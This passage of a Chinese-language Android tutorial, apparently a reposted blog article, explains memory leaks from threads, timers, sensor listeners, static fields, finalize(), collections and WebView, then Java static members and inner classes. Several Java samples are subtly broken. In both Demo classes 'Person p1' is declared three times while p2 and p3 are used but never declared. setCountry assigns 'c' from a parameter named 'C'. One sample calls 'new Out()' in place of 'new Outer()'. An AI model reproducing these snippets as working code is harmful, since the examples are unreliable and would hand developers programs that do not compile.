软/弱引用可以和一个引用队列(ReferenceQueue)联合使用,如果软引用所引用的对象被垃圾回收器回收,Java虚拟机就会把这个软引用加入到与之关联的引用队列中。利用这个队列可以得知被回收的软/弱引用的对象列表,从而为缓冲器清除已失效的软/弱引用。

Thread

看个范例:

public class SampleActivity extends Activity {
    void spawnThread() {
        new Thread() {
            @Override public void run() {
                while(true);
            }
        }.start();
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        View tButton = findViewById(R.id.t_button);
        tButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                spawnThread();
            }
        });
    }
}

其实这边发生的内存泄漏原因跟AsyncTask是一样的。

正确的做法为:

我们自定义Thread并声明成static这样可以吗?其实这样的做法并不推荐,因为Thread位于GC根部,DVM会和所有的活动线程保持hard references关系,所以运行中的Thread绝不会被GC无端回收了,所以正确的解决办法是在自定义静态内部类的基础上给线程加上取消机制,因此我们可以在Activity的onDestroy方法中将thread关闭掉。

Timer Tasks

看个范例:

public class SampleActivity extends Activity {
    void scheduleTimer() {
        new Timer().schedule(new TimerTask() {
            @Override
            public void run() {
                while(true);
            }
        },1000);
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        View ttButton = findViewById(R.id.tt_button);
        ttButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
            scheduleTimer();
            }
        });
    }
}

这里内存泄漏在于Timer和TimerTask没有进行Cancel,从而导致Timer和TimerTask一直引用外部类Activity。

正确的做法为:

在适当的时机进行Cancel。

Sensor Manager

看个范例:

public class SampleActivity extends Activity {
    void registerListener() {
           SensorManager sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE);
           Sensor sensor = sensorManager.getDefaultSensor(Sensor.TYPE_ALL);
           sensorManager.registerListener(this, sensor, SensorManager.SENSOR_DELAY_FASTEST);
    }

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        View smButton = findViewById(R.id.sm_button);
        smButton.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                registerListener();
            }
        });
    }
}

通过Context调用getSystemService获取系统服务,这些服务运行在他们自己的进程执行一系列后台工作或者提供和硬件交互的接口,如果Context对象需要在一个Service内部事件发生时随时收到通知,则需要把自己作为一个监听器注册进去,这样服务就会持有一个Activity,如果开发者忘记了在Activity被销毁前注销这个监听器,这样就导致内存泄漏。

正确的做法为:

在onDestroy方法里注销监听器。

尽量避免使用 static 成员变量

如果成员变量被声明为 static,那我们都知道其生命周期将与整个app进程生命周期一样。

这会导致一系列问题,如果你的app进程设计上是长驻内存的,那即使app切到后台,这部分内存也不会被释放。按照现在手机app内存管理机制,占内存较大的后台进程将优先回收,如果此app做过进程互保保活,那会造成app在后台频繁重启。当手机安装了你参与开发的app以后一夜时间手机被消耗空了电量、流量,你的app不得不被用户卸载或者静默。

这里修复的方法是:

不要在类初始时初始化静态成员。可以考虑lazy初始化(使用时初始化)。架构设计上要思考是否真的有必要这样做,尽量避免。如果架构需要这么设计,那么此对象的生命周期你有责任管理起来。

避免 override finalize()

1、finalize 方法被执行的时间不确定,不能依赖与它来释放紧缺的资源。时间不确定的原因是:
虚拟机调用GC的时间不确定
Finalize daemon线程被调度到的时间不确定

2、finalize 方法只会被执行一次,即使对象被复活,如果已经执行过了 finalize 方法,再次被 GC 时也不会再执行了,原因是:

含有 finalize 方法的 object 是在 new 的时候由虚拟机生成了一个 finalize reference 在来引用到该Object的,而在 finalize 方法执行的时候,该 object 所对应的 finalize Reference 会被释放掉,即使在这个时候把该 object 复活(即用强引用引用住该 object ),再第二次被 GC 的时候由于没有了 finalize reference 与之对应,所以 finalize 方法不会再执行。

3、含有Finalize方法的object需要至少经过两轮GC才有可能被释放。

集合对象及时清除

我们通常会把一些对象的引用加入到集合容器(比如ArrayList)中,当我们不再需要该对象时,并没有把它的引用从集合中清理掉,这样这个集合就会越来越大。如果这个集合是static的话,那情况就更严重了。

所以在退出程序之前,将集合里面的东西clear,然后置为null,再退出程序,如下:

private List<String> nameList;
private List<Fragment> list;

@Override
public void onDestroy() {
    super.onDestroy();
    if (nameList != null){
        nameList.clear();
        nameList = null;
    }
    if (list != null){
        list.clear();
        list = null;
    }
}

webView

当我们不再需要使用webView的时候,应该调用它的destory()方法来销毁它,并释放其占用的内存,否则其占用的内存长期也不能回收,从而造成内存泄漏。

正确的做法为:

为webView开启另外一个进程,通过AIDL与主线程进行通信,webView所在的进程可以根据业务的需要选择合适的时机进行销毁,从而达到内存的完整释放。

资源未关闭

对于使用了BraodcastReceiver,ContentObserver,File,游标 Cursor,Stream,Bitmap等资源的使用,应该在Activity销毁时及时关闭或者注销,否则这些资源将不会被回收,造成内存泄漏。

拓展 -- 相关知识点

static 关键字

使用static声明属性

如果在程序中使用static声明属性,则此属性称为全局属性(也称静态属性),那么声明成全局属性有什么用?我们看下代码:

class Person {
    String name;
    int age;
    static String country = "A城";
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
    public void info() {
        System.out.println("姓名:" + this.name + ",年龄:" + this.age + ",城市:" + country);
    }
};

public class Demo {
    public static void main(String agrs[]) {
        Person p1 = new Person("张三", 30);
        Person p1 = new Person("李四", 31);
        Person p1 = new Person("王五", 32);
        Person.country = "B城";
        p1.info();
        p2.info();
        p3.info();
    }
}

以上程序很清晰的说明了static声明属性的好处,需要注意一点的是,类的公共属性应该由类进行修改是最合适的(当然也可以p1.country = ...),有时也就把使用static声明的属性称为类属性。

使用static声明方法

直接看下代码就清楚了:

class Person {
    private String name;
    private int age;
    private static String country = "A城";
    public static void setCountry(String C) {
        country = c;
    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
    public void info() {
        System.out.println("姓名:" + this.name + ",年龄:" + this.age + ",城市:" + country);
    }
    public static String getCountry() {
        return country;
    }
};

public class Demo {
    public static void main(String agrs[]) {
        Person p1 = new Person("张三", 30);
        Person p1 = new Person("李四", 31);
        Person p1 = new Person("王五", 32);
        Person.setCountry("B城");
        p1.info();
        p2.info();
        p3.info();
    }
}

【特殊说明】

       非static声明的方法可以调用static声明的属性或方法
       static声明的方法不能调用非static声明的属性或方法

比如以下代码就会出错:

class Person {
    private static String country = "A城";
    private String name = "Hello";
    public static void sFun(String C) {
        System.out.println("name = " + name);       // 错误,不能调用非static属性
        fun();                                      // 错误,不能调用非static方法
    }
    public void fun() {
        System.out.println("World!!!");
    }
};

内部类

基本定义

我们都知道,在类内部可以定义成员变量与方法,同样,在类内部也可以定义另一个类。如果在类Outer的内部定义一个类Inner,此时类Inner就称为内部类,而类Outer则称为外部类。

内部类可声明成 public 或 private。当内部类声明成 public 或 private时,对其访问的限制与成员变量和成员方法完全相同。

内部类的定义格式

标识符 class 外部类的名称 {
    // 外部类的成员
    标识符 class 内部类的名称 {
        // 内部类的成员
    }
}

内部类的好处

可以方便地访问外部类中的私有属性!

静态内部类

使用static可以声明属性或方法,而使用static也可以声明内部类,用static声明的内部类就变成了外部类,但是用static声明的内部类不能访问非static的外部类属性。

比如如下例子:

class Outer {
    private static String info = "Hello World!!!";    // 如果此时info不是static属性,则程序运行报错
    static class Inner {
        public void print() {
            System.out.println(info);
        }
    };
};

public class InnerClassDemo {
    public static void main(String args[]) {
        new Outer.Inner().print();
    }
}

执行结果:

Hello World!!!

在外部访问内部类

一个内部类除了可以通过外部类访问,也可以直接在其他类中进行调用。

【在外部访问内部类的格式】

外部类.内部类 内部类对象 = 外部类实例.new 内部类();
class Outer {
    private String info = "Hello World!!!";  
    class Inner {
        public void print() {
            System.out.println(info);
        }
    };
};

public class InnerClassDemo {
    public static void main(String args[]) {
        Outer out = new Out();              // 实例化外部类对象
        Outer.Inner in = out.new Inner();   // 实例化内部类对象
        in.print();                         // 调用内部类方法
    }
}

在方法中定义内部类

除了在外部类中定义内部类,我们也可以在方法中定义内部类。但是需要注意的是,在方法中定义的内部类不能直接访问方法中的参数,如果方法中的参数想要被内部类访问,则参数前必须加上final关键字。

class Outer {
    private String info = "Hello World!!!";
    public void fun(final int temp) {      // 参数要被访问必须用final声明
        class Inner {
            public void print() {
                System.out.println("类中的属性:" + info);
                System.out.println("方法中的参数:" + temp);
            }
        };
        new Inner().print();
    }
};

public class InnerClassDemo {
    public static void main(String args[]) {
        new Outer().fun(30);               // 调用外部类方法              
    }
}

总结

在开发中,内存泄漏最坏的情况是app耗尽内存导致崩溃,但是往往真实情况不是这样的,相反它只会耗尽大量内存但不至于闪退,可分配的内存少了,GC便会更多的工作释放内存,GC是非常耗时的操作,因此会使得页面卡顿。我们在开发中一定要注意当在Activity里实例化一个对象时看看是否有潜在的内存泄漏,一定要经常对内存泄漏进行检测。

参考

 01. https://developer.android.goo...
 02. https://developer.android.goo...
 03. https://www.jianshu.com/p/f77...

Viewing all 101 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>